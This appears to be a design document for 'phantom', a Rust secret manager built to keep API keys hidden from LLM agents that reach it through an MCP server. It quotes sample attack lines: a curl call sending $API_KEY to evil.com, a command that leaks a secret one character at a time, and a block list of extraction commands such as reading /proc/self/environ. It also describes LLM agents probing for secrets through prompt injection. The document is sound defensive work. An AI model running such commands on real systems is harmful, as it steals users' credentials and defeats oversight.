Next-Generation LLM-Safe Secret Management
Existing secret managers have critical gaps that motivated attackers or clever LLMs can exploit. These are patterns humans miss because they think about secrets the way humans use them, not the way machines exploit them.
Problem: Most vaults require a master password in a config file. A plaintext secret protecting all your other secrets.
Why it's missed: We focus on vault encryption and forget the key is taped to the front door.
The fix: Eliminate the master password entirely. Use macOS Secure Enclave + Touch ID. The decryption key is hardware-bound and biometric-gated. No password exists anywhere in any file, ever.
Problem: If your API key is sk_live_abc123 and the output contains c2tfbGl2ZV9hYmMxMjM= (Base64), it passes through unredacted.
Why it's missed: We think of secrets as fixed strings. Machines think of them as transformable data.
The fix: Multi-encoding sanitization. Generate every transformation: Base64, URL-encoded, hex, reversed, ROT13, HTML entities, JSON escaped. Scan for ALL variants.
Problem: Garbage collectors move memory around freely, potentially leaving copies. Memory can be swapped to disk. Core dumps capture everything.
Why it's missed: We think "process memory is private."
The fix: Rust with zeroize crate for deterministic clearing. mlock() to prevent swap. mprotect() for no-read except during injection.
Problem: Nothing stops a subprocess from doing curl https://evil.com?stolen=$API_KEY while making a legitimate API call.
Why it's missed: We trust the commands we write. We forget the LLM is choosing the commands.
The fix: Network egress filtering. Per-process firewall rules that only allow approved domains.
Problem: If an LLM probes for secrets via prompt injection, there's zero detection.
Why it's missed: We build walls but no alarms.
The fix: Plant canary secrets that trigger immediate alerts when touched.
Problem: An LLM can extract secrets bit by bit: if [ "${API_KEY:0:1}" = "s" ]; then echo YES; fi
Why it's missed: We think of secrets as atomic. Machines think of them as testable sequences.
The fix: Command pre-analysis. Block substring extraction, conditional tests, character iteration patterns.
Problem: Static secrets created months ago are still valid if ever leaked.
The fix: Built-in rotation engine with vendor API integration for automatic key rotation.
Problem: Logs say "curl was run with STRIPE_KEY" but not "this originated from prompt injection."
The fix: Full request chain capture with trust level tagging: HUMAN_DIRECT, LLM_APPROVED, LLM_AUTO.
Problem: Every application can read the system clipboard silently.
The fix: Never use system clipboard for secrets. Use direct stdin piping or authenticated Unix sockets.
Problem: An attacker who modifies the config can redirect to a fake vault binary.
The fix: Signed configuration. Verify integrity using Secure Enclave. Refuse to start if tampered.
Problem: Response timing and packet sizes can leak information about secrets.
The fix: Constant-time output. Pad responses to fixed sizes. Add random jitter (50-200ms).
Problem: Secrets have relationships. If DATABASE_URL is compromised, which others are affected?
The fix: Model secret dependencies. One-click rotation of entire dependency chains.
Problem: Managing multiple clients means secret_list reveals all client key names.
The fix: Vault namespaces. Each client/project isolated. LLM doesn't know other namespaces exist.
Problem: If your laptop is stolen, all secrets are accessible once the thief brute-forces access.
The fix: Remote revocation. Device reports stolen triggers immediate vault wipe.
+-------------------------------------------------------------------------+
| LAYER 0: HARDWARE ROOT OF TRUST |
| |
| Apple Secure Enclave (M-series) / TPM 2.0 (Linux) / FIDO2 (YubiKey) |
| Master key generated IN hardware, never extractable |
| Biometric gate: Touch ID / Face ID / YubiKey touch |
| No master password exists. Anywhere. Ever. |
+------------------------------------+------------------------------------+
|
v Hardware-backed decryption
+------------------------------------+------------------------------------+
| LAYER 1: ENCRYPTED VAULT (At Rest) |
| |
| AES-256-GCM + XChaCha20-Poly1305 (dual encryption) |
| Argon2id key derivation (memory-hard) |
| Rust: deterministic memory, no GC |
| mlock() on all secret-holding pages |
| zeroize on drop (compiler-guaranteed cleanup) |
| SQLite with WAL mode, 0600 permissions |
+------------------------------------+------------------------------------+
|
v Scoped injection into sandbox
+------------------------------------+------------------------------------+
| LAYER 2: RUNTIME INJECTION (In Transit) |
| |
| Subprocess spawned in network-restricted sandbox |
| Per-process firewall: only approved domains reachable |
| Secrets injected via direct env, never via file |
| Command pre-analysis: block oracle patterns |
| Rate limiting per secret per time window |
+------------------------------------+------------------------------------+
|
v Multi-layer sanitization
+------------------------------------+------------------------------------+
| LAYER 3: OUTPUT SANITIZATION (At Return) |
| |
| Exact match + multi-encoding redaction (15+ formats) |
| Sliding-window substring match (8+ char windows) |
| Constant-time response padding (anti-timing oracle) |
| Canary trigger detection |
+------------------------------------+------------------------------------+
|
v Tamper-evident logging
+------------------------------------+------------------------------------+
| LAYER 4: AUDIT & DETECTION |
| |
| HMAC-chained append-only log |
| Trust level tagging (HUMAN_DIRECT / LLM_APPROVED / LLM_AUTO) |
| Anomaly detection (unusual patterns, rapid probing) |
| Canary alert system (webhook, email, Slack) |
| Dead man's switch (remote wipe capability) |
+-------------------------------------------------------------------------+zeroize crate — compiler-guaranteed memory clearingmlock() actually works — memory doesn't get relocated| Crate | Purpose |
|---|---|
ring / aes-gcm | AES-256-GCM encryption |
chacha20poly1305 | XChaCha20-Poly1305 (second layer) |
argon2 | Key derivation |
zeroize | Deterministic memory clearing |
secrecy | Secret-holding types |
rusqlite | SQLite storage |
security-framework | macOS Keychain / Secure Enclave |
tokio | Async runtime for MCP server |
| Tool | Returns | Secret Exposed? |
|---|---|---|
vault_list | Key names + metadata | NEVER |
vault_exists | Boolean | NEVER |
vault_masked | Last 4 chars: ••••WXYZ | NEVER |
vault_run | Sanitized command output | NEVER |
vault_health | Expiration warnings, status | NEVER |
vault_rotate | Pending human approval | NEVER |
vault_get — raw plaintext retrievalvault_export — bulk extractionvault_dump — debugging toolvault_decrypt — direct decryptionYou cannot call what does not exist.
These require biometric confirmation + direct TTY (not piped through MCP):
phantom get KEY — retrieve plaintextphantom export — bulk exportphantom backup — create backupphantom rotate --force — forced rotationBefore any vault_run executes, a static analyzer blocks oracle attacks.
CATEGORY: Substring Extraction ${VAR:offset:length} → BLOCKED (bash substring) echo $VAR | cut -cN-M → BLOCKED (character extraction) echo $VAR | sed ... → BLOCKED (positional replacement) python -c "...VAR[N]" → BLOCKED CATEGORY: Conditional Testing if [ "$VAR" = "..." ] → BLOCKED (equality test) [[ $VAR == *pattern* ]] → BLOCKED (pattern match) echo $VAR | grep ... → BLOCKED (pattern search) CATEGORY: Encoding/Exfiltration echo $VAR | base64 → BLOCKED echo $VAR | xxd → BLOCKED curl ...$VAR... → BLOCKED (if VAR in URL) CATEGORY: Direct Access printenv VAR → BLOCKED echo $VAR → BLOCKED cat /proc/self/environ → BLOCKED
CATEGORY: Normal Usage (secrets in env, not in args)
curl -H "Authorization: Bearer $VAR" https://api.stripe.com → ALLOWED
psql $DATABASE_URL -c "SELECT ..." → ALLOWED
railway deploy → ALLOWED
npm run build → ALLOWED
Key distinction: Secrets used AS environment variables by well-behaved programs are fine. Secrets used AS command arguments, piped through text processing, or tested conditionally are blocked.
| Version | Scope |
|---|---|
| 0.1.0 | Core crypto + memory protection + basic CLI |
| 0.2.0 | Multi-encoding sanitizer + command pre-analysis |
| 0.3.0 | MCP server (Claude Code integration) |
| 0.4.0 | Secure Enclave / FIDO2 integration |
| 0.5.0 | Namespace isolation + canary secrets |
| 0.6.0 | Process sandboxing + network filtering |
| 0.7.0 | Audit system + lineage tracking |
| 0.8.0 | Secret rotation engine |
| 0.9.0 | Security audit + penetration testing |
| 1.0.0 | Production release |